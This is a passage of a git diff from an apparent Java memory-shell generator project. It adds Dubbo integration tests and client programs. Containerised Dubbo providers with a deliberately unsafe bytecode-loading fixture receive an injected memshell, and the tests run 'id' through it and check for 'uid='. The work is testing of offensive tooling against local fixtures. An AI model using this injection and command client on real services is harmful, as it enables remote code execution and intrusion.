}} steps: @@ -73,10 +76,15 @@ jobs: run: ./gradlew ${{ matrix.cases.depend_tasks }} - name: Integration Test with gradle + if: matrix.cases.middleware != 'dubbo' run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info + - name: Dubbo Integration Test with gradle + if: matrix.cases.middleware == 'dubbo' + run: ./gradlew :integration-test:dubboContainerTest --info + - name: Export Integration Test Summary uses: mikepenz/action-junit-report@v5 if: success() || failure() with: - report_paths: '**/build/test-results/test/TEST-*.xml' + report_paths: '**/build/test-results/*/TEST-*.xml' diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index cfe3d587..24ec5c23 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -7,6 +7,9 @@ plugins { group = "io.github.reajason" version = rootProject.version +evaluationDependsOn(":vul:vul-dubbo") +evaluationDependsOn(":tools:command") + idea { module { excludeDirs.add(file("src/main")) @@ -36,8 +39,41 @@ dependencies { } } -tasks.test { - useJUnitPlatform() +val dubboProviderProject = project(":vul:vul-dubbo") +val dubboCommandProject = project(":tools:command") + +fun dubboProviderJar(taskName: String): Provider { + return dubboProviderProject.tasks.named(taskName).flatMap { task -> + task.archiveFile.map { it.asFile.absolutePath } + } +} + +fun dubboClientClasspath(clientKind: String): Provider { + return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map { + it.asFile.readText() + } +} + +fun Test.configureDubboSystemProperties() { + dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath") + val systemProperties = mapOf( + "dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"), + "dubbo.apache.client.classpath" to dubboClientClasspath("apache"), + "dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"), + "dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"), + "dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"), + "dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"), + "dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"), + "dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar") + ) + doFirst { + systemProperties.forEach { (key, value) -> + systemProperty(key, value.get()) + } + } +} + +fun Test.configureIntegrationJvm() { jvmArgs( "--add-opens=java.base/java.util=ALL-UNNAMED", "--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED", @@ -46,4 +82,24 @@ tasks.test { testLogging { events("passed", "skipped", "failed") } -} \ No newline at end of file +} + +tasks.test { + useJUnitPlatform { + excludeTags("dubbo-container") + } + configureIntegrationJvm() +} + +tasks.register("dubboContainerTest") { + group = "verification" + description = "Runs DubboService provider/client integration tests." + testClassesDirs = sourceSets.test.get().output.classesDirs + classpath = sourceSets.test.get().runtimeClasspath + useJUnitPlatform { + includeTags("dubbo-container") + } + dependsOn("testClasses") + configureDubboSystemProperties() + configureIntegrationJvm() +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java new file mode 100644 index 00000000..d2548ae1 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +@Testcontainers +@Tag("dubbo-container") +class AlibabaDubbo2612ContainerTest { + + private static final DubboProviderScenario SCENARIO = new DubboProviderScenario( + "alibaba-dubbo-2.6.12", + "alibaba", + "dubbo.alibaba.provider.jar", + "eclipse-temurin:8-jre", + 20880, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", 20880), + new DubboProtocolTarget("hessian", 28080) + ) + ); + + @Container + static final GenericContainer container = DubboContainerFactory.buildProvider(SCENARIO); + + @Test + void testDubboServiceRegistration() { + DubboServiceAssertion.assertCommandService(container, SCENARIO); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java new file mode 100644 index 00000000..a056ba2f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +@Testcontainers +@Tag("dubbo-container") +class ApacheDubbo27xContainerTest { + + private static final String IMAGE = "eclipse-temurin:17-jdk"; + + private static final DubboProviderScenario APACHE_276 = apacheScenario( + "apache-dubbo-2.7.6", + "dubbo.apache276.provider.jar", + 20885, + 28086 + ); + private static final DubboProviderScenario APACHE_277 = apacheScenario( + "apache-dubbo-2.7.7", + "dubbo.apache277.provider.jar", + 20886, + 28088 + ); + private static final DubboProviderScenario APACHE_278 = apacheScenario( + "apache-dubbo-2.7.8", + "dubbo.apache278.provider.jar", + 20887, + 28090 + ); + private static final DubboProviderScenario APACHE_2723 = apacheScenario( + "apache-dubbo-2.7.23", + "dubbo.apache2723.provider.jar", + 20881, + 28082 + ); + + @Container + static final GenericContainer apache276 = DubboContainerFactory.buildProvider(APACHE_276); + @Container + static final GenericContainer apache277 = DubboContainerFactory.buildProvider(APACHE_277); + @Container + static final GenericContainer apache278 = DubboContainerFactory.buildProvider(APACHE_278); + @Container + static final GenericContainer apache2723 = DubboContainerFactory.buildProvider(APACHE_2723); + + static Stream scenarios() { + return Stream.of( + Arguments.of(apache276, APACHE_276), + Arguments.of(apache277, APACHE_277), + Arguments.of(apache278, APACHE_278), + Arguments.of(apache2723, APACHE_2723) + ); + } + + @ParameterizedTest(name = "{1}") + @MethodSource("scenarios") + void testDubboServiceRegistration(GenericContainer container, DubboProviderScenario scenario) { + DubboServiceAssertion.assertCommandService(container, scenario); + } + + private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) { + return new DubboProviderScenario( + name, + "apache", + providerJarProperty, + IMAGE, + dubboPort, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", dubboPort), + new DubboProtocolTarget("hessian", hessianPort) + ) + ); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java new file mode 100644 index 00000000..986cde3b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +@Testcontainers +@Tag("dubbo-container") +class ApacheDubbo336ContainerTest { + + private static final DubboProviderScenario SCENARIO = new DubboProviderScenario( + "apache-dubbo-3.3.6", + "apache", + "dubbo.apache336.provider.jar", + "eclipse-temurin:17-jdk", + 20882, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", 20882), + new DubboProtocolTarget("hessian", 28084), + new DubboProtocolTarget("tri", 50051) + ) + ); + + @Container + static final GenericContainer container = DubboContainerFactory.buildProvider(SCENARIO); + + @Test + void testDubboServiceRegistration() { + DubboServiceAssertion.assertCommandService(container, SCENARIO); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java new file mode 100644 index 00000000..5dfd68f3 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java @@ -0,0 +1,130 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +final class DubboClientRunner { + + private DubboClientRunner() { + } + + static String loadBytes(String clientKind, String url, String base64) { + return run(clientKind, "load-bytes", url, base64); + } + + static String runCommand(String clientKind, String url, String interfaceName, String command) { + return run(clientKind, "run-command", url, interfaceName, command); + } + + @SneakyThrows + private static String run(String clientKind, String... args) { + List command = new ArrayList(); + String javaExecutable = javaExecutable(clientKind); + command.add(javaExecutable); + if (supportsAddOpens(javaExecutable)) { + command.add("--add-opens=java.base/java.lang=ALL-UNNAMED"); + command.add("--add-opens=java.base/java.math=ALL-UNNAMED"); + } + command.add("-cp"); + command.add(clientClasspath(clientKind)); + command.add(mainClass(clientKind)); + for (String arg : args) { + command.add(arg); + } + + Process process = new ProcessBuilder(command) + .redirectErrorStream(true) + .start(); + ByteArrayOutputStream output = new ByteArrayOutputStream(); + copy(process.getInputStream(), output); + int exitCode = process.waitFor(); + String rendered = output.toString(StandardCharsets.UTF_8).trim(); + if (exitCode != 0) { + throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered); + } + return rendered; + } + + private static String clientClasspath(String clientKind) { + String property = System.getProperty("dubbo." + clientKind + ".client.classpath"); + if (isBlank(property)) { + throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property"); + } + return property; + } + + private static String mainClass(String clientKind) { + if ("alibaba".equals(clientKind)) { + return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient"; + } + if ("apache".equals(clientKind)) { + return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient"; + } + throw new IllegalArgumentException("unsupported client kind: " + clientKind); + } + + private static String javaExecutable(String clientKind) { + if (!"alibaba".equals(clientKind)) { + return "java"; + } + String java8Home = System.getenv("JAVA8_HOME"); + if (isBlank(java8Home)) { + java8Home = System.getProperty("java8.home"); + } + if (isBlank(java8Home)) { + return "java"; + } + return java8Home + "/bin/java"; + } + + private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException { + Process process = new ProcessBuilder(javaExecutable, "-version") + .redirectErrorStream(true) + .start(); + ByteArrayOutputStream output = new ByteArrayOutputStream(); + copy(process.getInputStream(), output); + int exitCode = process.waitFor(); + if (exitCode != 0) { + return true; + } + return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9; + } + + private static int majorVersion(String versionOutput) { + Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput); + if (!matcher.find()) { + return 9; + } + String version = matcher.group(1); + if (version.startsWith("1.")) { + int dot = version.indexOf('.', 2); + return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot)); + } + int dot = version.indexOf('.'); + return leadingInteger(dot < 0 ? version : version.substring(0, dot)); + } + + private static int leadingInteger(String value) { + Matcher matcher = Pattern.compile("^(\\d+)").matcher(value); + return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9; + } + + private static boolean isBlank(String value) { + return value == null || value.trim().isEmpty(); + } + + private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException { + byte[] buffer = new byte[4096]; + int read; + while ((read = inputStream.read(buffer)) >= 0) { + outputStream.write(buffer, 0, read); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java new file mode 100644 index 00000000..369cbc07 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; + +final class DubboContainerFactory { + + private DubboContainerFactory() { + } + + static GenericContainer buildProvider(DubboProviderScenario scenario) { + String jarPath = providerJarPath(scenario.providerJarProperty()); + GenericContainer container = new GenericContainer<>(scenario.imageName()) + .withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar") + .withWorkingDirectory("/app") + .withExposedPorts(exposedPorts(scenario)) + .waitingFor(Wait.forLogMessage(".*Provider started.*", 1) + .withStartupTimeout(Duration.ofMinutes(3))); + + if ("alibaba".equals(scenario.clientKind())) { + container.withCommand("java", "-jar", "/app/app.jar"); + } else { + container.withCommand( + "java", + "--add-opens", "java.base/java.lang=ALL-UNNAMED", + "--add-opens", "java.base/java.math=ALL-UNNAMED", + "-jar", "/app/app.jar" + ); + } + return container; + } + + private static Integer[] exposedPorts(DubboProviderScenario scenario) { + return scenario.commandTargets().stream() + .map(DubboProtocolTarget::port) + .distinct() + .toArray(Integer[]::new); + } + + private static String providerJarPath(String propertyName) { + String value = System.getProperty(propertyName); + if (value == null || value.trim().isEmpty()) { + throw new IllegalStateException("missing " + propertyName + " system property"); + } + Path path = Path.of(value); + if (!Files.isRegularFile(path)) { + throw new IllegalStateException("provider jar does not exist: " + path); + } + return path.toAbsolutePath().toString(); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java new file mode 100644 index 00000000..5a2ecc02 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +final class DubboProtocolTarget { + private final String protocol; + private final int port; + + DubboProtocolTarget(String protocol, int port) { + this.protocol = protocol; + this.port = port; + } + + String protocol() { + return protocol; + } + + int port() { + return port; + } + + String url(String host, String interfaceName) { + return protocol + "://" + host + ":" + port + "/" + interfaceName; + } + + String url(String host, int mappedPort, String interfaceName) { + return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java new file mode 100644 index 00000000..e8211a47 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import com.reajason.javaweb.memshell.ShellType; + +import java.util.List; + +final class DubboProviderScenario { + private final String name; + private final String clientKind; + private final String providerJarProperty; + private final String imageName; + private final int loaderPort; + private final int targetJdkVersion; + private final List commandTargets; + + DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName, + int loaderPort, int targetJdkVersion, List commandTargets) { + this.name = name; + this.clientKind = clientKind; + this.providerJarProperty = providerJarProperty; + this.imageName = imageName; + this.loaderPort = loaderPort; + this.targetJdkVersion = targetJdkVersion; + this.commandTargets = commandTargets; + } + + String name() { + return name; + } + + String clientKind() { + return clientKind; + } + + String providerJarProperty() { + return providerJarProperty; + } + + String imageName() { + return imageName; + } + + int loaderPort() { + return loaderPort; + } + + int targetJdkVersion() { + return targetJdkVersion; + } + + List commandTargets() { + return commandTargets; + } + + String shellType() { + if ("alibaba".equals(clientKind)) { + return ShellType.ALIBABA_DUBBO_SERVICE; + } + return ShellType.APACHE_DUBBO_SERVICE; + } + + @Override + public String toString() { + return name; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java new file mode 100644 index 00000000..d731c67e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import org.testcontainers.containers.GenericContainer; + +import java.util.List; +import java.util.stream.Collectors; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.anyOf; +import static org.hamcrest.Matchers.containsString; + +@Slf4j +final class DubboServiceAssertion { + + private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService"; + private static final String COMMAND = "id"; + + private DubboServiceAssertion() { + } + + static void assertCommandService(GenericContainer container, DubboProviderScenario scenario) { + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig( + scenario.shellType(), + ShellTool.Command, + Packers.Base64 + ); + MemShellResult result = ShellAssertion.generate( + null, + Server.Dubbo, + null, + scenario.shellType(), + ShellTool.Command, + scenario.targetJdkVersion(), + shellToolConfig, + Packers.Base64 + ); + String interfaceName = result.getInjectorConfig().getUrlPattern(); + String host = container.getHost(); + String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE; + + log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl); + String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str()); + log.info("{} load output: {}", scenario.name(), loadOutput); + + List fallbackUrls = scenario.commandTargets().stream() + .map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName)) + .collect(Collectors.toList()); + List commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls); + + for (String commandUrl : commandUrls) { + String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND); + log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output); + assertThat(output, anyOf(containsString("uid="), containsString("injected-ok"))); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java new file mode 100644 index 00000000..3bcc6c2a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; + +final class DubboUrlResolver { + + private DubboUrlResolver() { + } + + static List resolveCommandUrls(String loadOutput, String interfaceName, List fallbackUrls) { + Map discoveredByProtocol = new LinkedHashMap(); + Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?"); + Matcher matcher = pattern.matcher(loadOutput); + while (matcher.find()) { + String candidate = matcher.group(); + discoveredByProtocol.put(protocolOf(candidate), candidate); + } + return fallbackUrls.stream() + .map(fallback -> { + String discovered = discoveredByProtocol.get(protocolOf(fallback)); + return discovered == null ? fallback : rewriteEndpoint(discovered, fallback); + }) + .collect(Collectors.toList()); + } + + static String protocolOf(String url) { + int separator = url.indexOf("://"); + return separator < 0 ? url : url.substring(0, separator); + } + + static String rewriteHost(String url, String host) { + try { + URI uri = new URI(url); + return new URI( + uri.getScheme(), + uri.getUserInfo(), + host, + uri.getPort(), + uri.getPath(), + uri.getQuery(), + uri.getFragment() + ).toString(); + } catch (URISyntaxException e) { + throw new IllegalArgumentException("invalid direct url: " + url, e); + } + } + + static String rewriteEndpoint(String url, String endpointUrl) { + try { + URI uri = new URI(url); + URI endpoint = new URI(endpointUrl); + return new URI( + uri.getScheme(), + uri.getUserInfo(), + endpoint.getHost(), + endpoint.getPort(), + uri.getPath(), + uri.getQuery(), + uri.getFragment() + ).toString(); + } catch (URISyntaxException e) { + throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java new file mode 100644 index 00000000..d74c0b5e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.contains; + +class DubboUrlResolverTest { + + @Test + void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() { + String interfaceName = "org.example.ICommandService"; + String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, " + + "hessian://10.1.2.3:28080/" + interfaceName; + + List resolved = DubboUrlResolver.resolveCommandUrls( + loadOutput, + interfaceName, + List.of( + "dubbo://127.0.0.1:1111/" + interfaceName, + "hessian://127.0.0.1:2222/" + interfaceName, + "tri://127.0.0.1:3333/" + interfaceName + ) + ); + + assertThat(resolved, contains( + "dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider", + "hessian://127.0.0.1:2222/" + interfaceName, + "tri://127.0.0.1:3333/" + interfaceName + )); + } +} diff --git a/settings.gradle.kts b/settings.gradle.kts index b7dc9a8d..a0e1d86d 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -28,7 +28,7 @@ dependencyResolutionManagement { rootProject.name = "memshell-party" include("memshell-party-common") -include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword") +include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword", "tools:command") include("packer") include("boot") include("generator") @@ -47,6 +47,7 @@ include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") include("vul:vul-playframework") +include("vul:vul-dubbo") include("memshell-agent:memshell-agent-attacher") include("memshell-agent:memshell-agent-asm") include("memshell-agent:memshell-agent-javassist") diff --git a/tools/command/build.gradle.kts b/tools/command/build.gradle.kts new file mode 100644 index 00000000..080841d9 --- /dev/null +++ b/tools/command/build.gradle.kts @@ -0,0 +1,96 @@ +plugins { + id("java") + id("idea") +} + +group = "io.github.reajason" +version = rootProject.version + +val dubboClientCommon: SourceSet by sourceSets.creating +val dubboClientAlibaba: SourceSet by sourceSets.creating +val dubboClientApache: SourceSet by sourceSets.creating + +val dubboClientCommonImplementation: Configuration by configurations.getting +val dubboClientAlibabaImplementation: Configuration by configurations.getting +val dubboClientApacheImplementation: Configuration by configurations.getting + +val dubboClientCommonOutput = dubboClientCommon.output + +dubboClientAlibaba.compileClasspath += dubboClientCommonOutput +dubboClientAlibaba.runtimeClasspath += dubboClientCommonOutput +dubboClientApache.compileClasspath += dubboClientCommonOutput +dubboClientApache.runtimeClasspath += dubboClientCommonOutput + +listOf( + "dubboClientApacheCompileClasspath", + "dubboClientApacheRuntimeClasspath" +).forEach { configurationName -> + configurations.named(configurationName) { + exclude(group = "io.netty", module = "netty-transport-native-kqueue") + exclude(group = "io.netty", module = "netty-resolver-dns-native-macos") + } +} + +idea { + module { + excludeDirs.add(file("src/main")) + } +} + +dependencies { + dubboClientCommonImplementation("org.slf4j:slf4j-api:1.7.36") + + dubboClientAlibabaImplementation(dubboClientCommonOutput) + dubboClientAlibabaImplementation("com.alibaba:dubbo:2.6.12") + dubboClientAlibabaImplementation("com.alibaba:hessian-lite:3.2.4") + dubboClientAlibabaImplementation("com.caucho:hessian:4.0.51") + dubboClientAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3") + dubboClientAlibabaImplementation("org.springframework:spring-web:5.3.39") + dubboClientAlibabaImplementation("io.netty:netty-all:4.1.25.Final") + dubboClientAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26") + dubboClientAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26") + dubboClientAlibabaImplementation("org.slf4j:slf4j-api:1.7.36") + dubboClientAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13") + + dubboClientApacheImplementation(dubboClientCommonOutput) + dubboClientApacheImplementation("org.apache.dubbo:dubbo:3.3.6") { + exclude(group = "log4j", module = "log4j") + } + dubboClientApacheImplementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6") + dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1") + dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0") + dubboClientApacheImplementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2") + dubboClientApacheImplementation("com.caucho:hessian:4.0.51") + dubboClientApacheImplementation("io.netty:netty-all:4.1.119.Final") + dubboClientApacheImplementation("org.slf4j:slf4j-api:2.0.17") + dubboClientApacheImplementation("ch.qos.logback:logback-classic:1.5.18") +} + +tasks.named(dubboClientCommon.compileJavaTaskName) { + options.release.set(8) +} + +listOf(dubboClientAlibaba, dubboClientApache).forEach { sourceSet -> + tasks.named(sourceSet.compileJavaTaskName) { + options.release.set(8) + } +} + +tasks.register("dubboClientClasspath") { + group = "verification" + dependsOn(dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName) + doLast { + layout.buildDirectory.file("dubbo-client-classpaths/alibaba.txt").get().asFile.apply { + parentFile.mkdirs() + writeText(dubboClientAlibaba.runtimeClasspath.asPath) + } + layout.buildDirectory.file("dubbo-client-classpaths/apache.txt").get().asFile.apply { + parentFile.mkdirs() + writeText(dubboClientApache.runtimeClasspath.asPath) + } + } +} + +tasks.named("classes") { + dependsOn(dubboClientCommon.classesTaskName, dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName) +} diff --git a/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java b/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java new file mode 100644 index 00000000..6c1b8d9e --- /dev/null +++ b/tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java @@ -0,0 +1,101 @@ +package io.github.reajason.dubbo.fixture.client.alibaba; + +import com.alibaba.dubbo.common.utils.NetUtils; +import com.alibaba.dubbo.config.ApplicationConfig; +import com.alibaba.dubbo.config.ReferenceConfig; +import com.alibaba.dubbo.config.RegistryConfig; +import com.alibaba.dubbo.rpc.service.GenericService; +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; +import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport; + +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.nio.charset.StandardCharsets; + +public class AlibabaDubboClient { + + private static final String LOOPBACK_HOST = "127.0.0.1"; + + public static void main(String[] args) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + if (args.length < 1) { + throw new IllegalArgumentException("usage: load-bytes | run-command "); + } + if ("load-bytes".equals(args[0])) { + if (args.length < 3) { + throw new IllegalArgumentException("usage: load-bytes "); + } + System.out.println(loadBytes(args[1], args[2])); + return; + } + if ("run-command".equals(args[0])) { + if (args.length < 4) { + throw new IllegalArgumentException("usage: run-command "); + } + Object result = runCommand(args[1], args[2], args[3]); + if (result instanceof byte[]) { + System.out.println(new String((byte[]) result, StandardCharsets.UTF_8)); + } else { + System.out.println(String.valueOf(result)); + } + return; + } + throw new IllegalArgumentException("unsupported action: " + args[0]); + } + + public static String loadBytes(String url, String base64) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("alibaba-dubbo-load-bytes-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(BytecodeLoadingService.class); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + BytecodeLoadingService loadingService = reference.get(); + try { + return loadingService.loadBytes(base64); + } finally { + reference.destroy(); + } + } + + public static Object runCommand(String url, String interfaceName, String command) { + ClientRuntimeSupport.prepareClientJvm(); + forceLoopbackLocalAddress(); + ReferenceConfig reference = new ReferenceConfig(); + reference.setApplication(new ApplicationConfig("alibaba-dubbo-command-client")); + reference.setRegistry(new RegistryConfig("N/A")); + reference.setInterface(interfaceName); + reference.setGeneric(true); + reference.setCheck(false); + reference.setTimeout(30000); + reference.setRetries(0); + reference.setUrl(url); + + GenericService genericService = reference.get(); + try { + return genericService.$invoke( + "handle", + new String[]{byte[].class.getName()}, + new Object[]{command.getBytes(StandardCharsets.UTF_8)} + ); + } finally { + reference.destroy(); + } + } + + private static void forceLoopbackLocalAddress() { + try { + Field localAddressField = 